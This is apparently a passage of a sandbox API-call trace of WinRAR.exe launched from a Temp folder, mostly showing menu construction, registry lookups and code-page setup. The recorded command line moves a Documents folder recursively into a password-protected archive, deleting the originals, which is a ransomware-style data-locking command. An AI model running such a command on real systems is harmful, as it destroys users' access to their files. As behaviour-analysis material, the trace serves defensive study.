SetMenuItemInfoW (hmenu=0x10263, item=0x3, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10267, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10267, item=0x0, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10267, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10267, item=0x2, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10267, item=0x2, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10267, item=0x3, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10267, item=0x3, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10267, item=0x4, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.186] GetMenuItemInfoW (in: hmenu=0x10263, item=0x4, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10263, item=0x4, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10269, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10269, item=0x0, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10269, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10269, item=0x1, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x10269, item=0x2, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0x5, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x10263, item=0x5, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026b, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026b, item=0x0, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026b, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026b, item=0x1, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026b, item=0x2, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026b, item=0x3, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026b, item=0x3, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026b, item=0x4, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0x6, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x10263, item=0x6, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0x7, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0x8, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x10263, item=0x8, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0x9, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x10263, item=0x9, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x10263, item=0xa, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.187] GetMenuItemInfoW (in: hmenu=0x10257, item=0x5, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x10257, item=0x5, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026f, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026f, item=0x2, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x4, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.187] SetMenuItemInfoW (hmenu=0x1026f, item=0x4, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.187] GetMenuItemInfoW (in: hmenu=0x1026f, item=0x5, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.187] GetMenuItemInfoW (in: hmenu=0x10257, item=0x6, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 0 [0058.187] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x438, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="site name") returned 0x9 [0058.188] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x43a, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0058.188] GetLastError () returned 0x5b0 [0058.188] SetLastError (dwErrCode=0x5b0) [0058.188] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fa130 | out: phkResult=0x141a0fa130*=0x0) returned 0x2 [0058.188] GetLastError () returned 0x5b0 [0058.188] SetLastError (dwErrCode=0x5b0) [0058.188] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa900 | out: phkResult=0x141a0fa900*=0x0) returned 0x2 [0058.188] SetMenu (hWnd=0x1023e, hMenu=0x10257) returned 1 [0058.202] NtdllDefWindowProc_W () returned 0x0 [0058.202] NtdllDefWindowProc_W () returned 0x0 [0058.202] NtdllDefWindowProc_W () returned 0x1 [0058.204] NtdllDefWindowProc_W () returned 0x0 [0058.263] NtdllDefWindowProc_W () returned 0x0 [0058.263] NtdllDefWindowProc_W () returned 0x0 [0058.264] NtdllDefWindowProc_W () returned 0x0 [0058.264] NtdllDefWindowProc_W () returned 0x0 [0058.264] NtdllDefWindowProc_W () returned 0x0 [0058.265] NtdllDefWindowProc_W () returned 0x0 [0058.265] NtdllDefWindowProc_W () returned 0x0 [0058.265] IsIconic (hWnd=0x1023e) returned 0 [0058.265] IsIconic (hWnd=0x1023e) returned 0 [0058.265] IsIconic (hWnd=0x1023e) returned 0 [0058.267] NtdllDefWindowProc_W () returned 0x1 [0058.267] NtdllDefWindowProc_W () returned 0x0 [0058.267] NtdllDefWindowProc_W () returned 0x0 [0058.267] NtdllDefWindowProc_W () returned 0x0 [0058.268] DrawMenuBar (hWnd=0x1023e) returned 1 [0058.268] NtdllDefWindowProc_W () returned 0x0 [0058.268] NtdllDefWindowProc_W () returned 0x0 [0058.268] NtdllDefWindowProc_W () returned 0x1 [0058.268] NtdllDefWindowProc_W () returned 0x0 [0058.269] NtdllDefWindowProc_W () returned 0x1 [0058.270] GetLastError () returned 0xb7 [0058.270] SetLastError (dwErrCode=0xb7) [0058.270] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fa130 | out: phkResult=0x141a0fa130*=0x0) returned 0x2 [0058.270] GetLastError () returned 0xb7 [0058.270] SetLastError (dwErrCode=0xb7) [0058.270] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa900 | out: phkResult=0x141a0fa900*=0x0) returned 0x2 [0058.270] GetLastError () returned 0xb7 [0058.270] SetLastError (dwErrCode=0xb7) [0058.270] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fa130 | out: phkResult=0x141a0fa130*=0x0) returned 0x2 [0058.270] GetLastError () returned 0xb7 [0058.270] SetLastError (dwErrCode=0xb7) [0058.270] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa900 | out: phkResult=0x141a0fa900*=0x0) returned 0x2 [0058.270] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8) returned 0x1162e7d5a00 [0058.270] RegisterDragDrop (hwnd=0x1023e, pDropTarget=0x1162e7d5a00) returned 0x0 [0060.594] GetLocalTime (in: lpSystemTime=0x7ff6f7619cd0 | out: lpSystemTime=0x7ff6f7619cd0*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x17, wMinute=0xd, wSecond=0x26, wMilliseconds=0x55)) [0060.594] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f5c40 | out: phkResult=0x141a0f5c40*=0x0) returned 0x2 [0060.594] SHGetMalloc (in: ppMalloc=0x141a0f5be0 | out: ppMalloc=0x141a0f5be0*=0x7ff92fcdf3f0) returned 0x0 [0060.594] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0f5c28 | out: ppidl=0x141a0f5c28) returned 0x0 [0060.594] SHGetPathFromIDListW (in: pidl=0x1162e87e0c0, pszPath=0x141a0f7d30 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.595] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.595] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e87e0c0) [0060.595] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x141a0f49e0 | out: lpFindFileData=0x141a0f49e0) returned 0xffffffffffffffff [0060.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x141a0f49e0 | out: lpFindFileData=0x141a0f49e0) returned 0xffffffffffffffff [0060.595] GetLastError () returned 0x2 [0060.595] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x141a0f7d30, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.595] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x141a0f49e0 | out: lpFindFileData=0x141a0f49e0) returned 0xffffffffffffffff [0060.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x141a0f49e0 | out: lpFindFileData=0x141a0f49e0) returned 0xffffffffffffffff [0060.595] GetLastError () returned 0x2 [0060.595] GetLastError () returned 0x2 [0060.595] SetLastError (dwErrCode=0x2) [0060.595] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9090 | out: phkResult=0x141a0f9090*=0x0) returned 0x2 [0060.595] GetLastError () returned 0x2 [0060.595] SetLastError (dwErrCode=0x2) [0060.596] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9050 | out: phkResult=0x141a0f9050*=0x2f0) returned 0x0 [0060.596] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarkey", lpReserved=0x0, lpType=0x141a0f94b4, lpData=0x141a0f9d90, lpcbData=0x141a0f94b0*=0x1000 | out: lpType=0x141a0f94b4*=0x0, lpData=0x141a0f9d90*=0x0, lpcbData=0x141a0f94b0*=0x1000) returned 0x2 [0060.596] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.597] GetCurrentProcess () returned 0xffffffffffffffff [0060.597] GetCurrentThread () returned 0xfffffffffffffffe [0060.597] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0060.597] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0060.597] GetLastError () returned 0x2 [0060.597] SetLastError (dwErrCode=0x2) [0060.597] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fc670 | out: phkResult=0x141a0fc670*=0x2f0) returned 0x0 [0060.597] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Priority", lpReserved=0x0, lpType=0x141a0fcad4, lpData=0x141a0fcad0, lpcbData=0x141a0fcb08*=0x4 | out: lpType=0x141a0fcad4*=0x0, lpData=0x141a0fcad0*=0x1, lpcbData=0x141a0fcb08*=0x4) returned 0x2 [0060.597] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.597] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0060.597] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0060.597] GetLastError () returned 0x2 [0060.597] SetLastError (dwErrCode=0x2) [0060.598] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9dc0 | out: phkResult=0x141a0f9dc0*=0x2f0) returned 0x0 [0060.598] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarreg.key", lpReserved=0x0, lpType=0x141a0fa224, lpData=0x141a0fbb00, lpcbData=0x141a0fa220*=0x1000 | out: lpType=0x141a0fa224*=0x0, lpData=0x141a0fbb00*=0x0, lpcbData=0x141a0fa220*=0x1000) returned 0x2 [0060.598] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.598] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f7550 | out: phkResult=0x141a0f7550*=0x0) returned 0x2 [0060.598] SHGetMalloc (in: ppMalloc=0x141a0f74f0 | out: ppMalloc=0x141a0f74f0*=0x7ff92fcdf3f0) returned 0x0 [0060.598] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0f7538 | out: ppidl=0x141a0f7538) returned 0x0 [0060.598] SHGetPathFromIDListW (in: pidl=0x1162e87e0c0, pszPath=0x141a0f7700 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.598] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e87e0c0) [0060.598] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f74e0 | out: phkResult=0x141a0f74e0*=0x0) returned 0x2 [0060.598] SHGetMalloc (in: ppMalloc=0x141a0f7480 | out: ppMalloc=0x141a0f7480*=0x7ff92fcdf3f0) returned 0x0 [0060.598] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0f74c8 | out: ppidl=0x141a0f74c8) returned 0x0 [0060.598] SHGetPathFromIDListW (in: pidl=0x1162e87e0c0, pszPath=0x141a0f7700 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.598] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e87e0c0) [0060.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0060.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0060.598] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x141a0f7700, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.599] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.599] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0060.599] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f94c0 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f94c0 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87db20 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87db20 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87d800 [0060.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d800 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1e) returned 0x1162e87b830 [0060.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87b830 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x18) returned 0x1162e87d9c0 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d9c0 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8) returned 0x1162e7d5ad0 [0060.599] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7d5ad0 | out: hHeap=0x1162e7c0000) returned 1 [0060.599] GetLastError () returned 0x2 [0060.599] SetLastError (dwErrCode=0x2) [0060.599] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fc670 | out: phkResult=0x141a0fc670*=0x0) returned 0x2 [0060.599] GetMenu (hWnd=0x1023e) returned 0x10257 [0060.599] GetSubMenu (hMenu=0x10257, nPos=4) returned 0x10263 [0060.599] GetSubMenu (hMenu=0x10263, nPos=6) returned 0x1026d [0060.599] DeleteMenu (hMenu=0x1026d, uPosition=0x0, uFlags=0x400) returned 1 [0060.600] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0060.600] InsertMenuW (hMenu=0x1026d, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0060.600] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67d, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0060.600] InsertMenuW (hMenu=0x1026d, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0060.600] InsertMenuW (hMenu=0x1026d, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.600] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67e, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0060.600] InsertMenuW (hMenu=0x1026d, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0060.600] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.602] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.602] GetACP () returned 0x4e4 [0060.602] GetOEMCP () returned 0x1b5 [0060.602] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.602] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.602] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.602] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.602] InsertMenuW (hMenu=0x1026d, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.602] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.703] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.703] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.703] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.703] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.703] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.703] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.704] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.704] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.704] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.704] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.704] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.704] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.704] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.704] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.705] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.705] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.705] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.705] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.705] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.705] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.705] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.705] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.706] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.706] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.706] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.706] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0x141a0fc800 | out: lpCPInfoEx=0x141a0fc800) returned 1 [0060.706] InsertMenuItemW (hmenu=0x1026d, item=0x3e8, fByPosition=1, lpmi=0x141a0fc7b0) returned 1 [0060.706] SetMenuItemInfoW (hmenu=0x1026d, item=0xaf, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.706] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x640, 